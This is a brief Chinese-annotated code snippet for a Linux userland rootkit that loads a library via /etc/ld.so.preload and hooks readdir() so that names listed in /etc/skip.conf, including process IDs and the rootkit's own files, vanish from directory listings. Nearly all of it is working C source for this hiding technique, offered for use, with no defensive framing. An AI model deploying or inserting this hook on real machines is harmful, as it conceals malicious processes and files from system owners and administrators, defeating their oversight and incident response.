LD_PRELOAD机制,使得自身的so文件先于系统加载
cat /etc/ld.so.preload
/usr/local/lib/libhide.so
HOOK readdir函数
#define _GNU_SOURCE
#include<dirent.h>
#include<sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <stdarg.h>
#include <errno.h>
struct dirent * readdir(DIR * dir_handle);
char * get_file_text(char * filename) {
char* text;
if (access(filename, 0) != 0)
{
errno = 0;
return NULL;
}
FILE *pf = fopen(filename,"r");
fseek(pf,0,SEEK_END);
long lSize = ftell(pf);
text=(char*)malloc(lSize+1);
rewind(pf);
fread(text,sizeof(char),lSize,pf);
text[lSize] = '\0';
return text;
}
char** load_skip_dir(int* num, char * filename){
static char skips_fs[100][256] = {0};
static char hot_reload = 0;
if (hot_reload) {
*num = hot_reload;
return skips_fs;
}
*num = 0;
char* text = get_file_text(filename);
if (!text) {
return skips_fs;
}
int i = 0;
char * n = text;
char * end = NULL;
do{
end = strchr(n, '\n');
if (!end) {
// 拷贝最后一片
memcpy(skips_fs[i], n, strlen(n));
i++;
break;
}
// 拷贝中间n片
memcpy(skips_fs[i], n, end - n);
i++;
n = end + 1;
} while(i < 100);
*num = i;
free(text);
hot_reload = *num;
return skips_fs;
}
struct dirent * readdir(DIR * dir_handle) {
typeof(readdir) *old_readdir;
struct dirent * ret ;
char* skips_fs;
int num = 0, j = 0;
skips_fs = load_skip_dir(&num, "/etc/skip.conf");
old_readdir = dlsym(RTLD_NEXT, "readdir");
ret = (*old_readdir)(dir_handle);
if (ret)
{
for (j = 0; j < num && skips_fs; j++)
{
// printf("%d -> %s\n", j, skips_fs + j*256);
if ( strncmp(skips_fs + j*256, ret->d_name, 256) == 0 )
{
ret->d_name[0] = '.';
ret->d_name[1] = 0;
ret->d_reclen = 1;
break;
}
}
}
return ret;
}
pid隐藏配置
cat /etc/skip.conf
skip.conf
libhide.so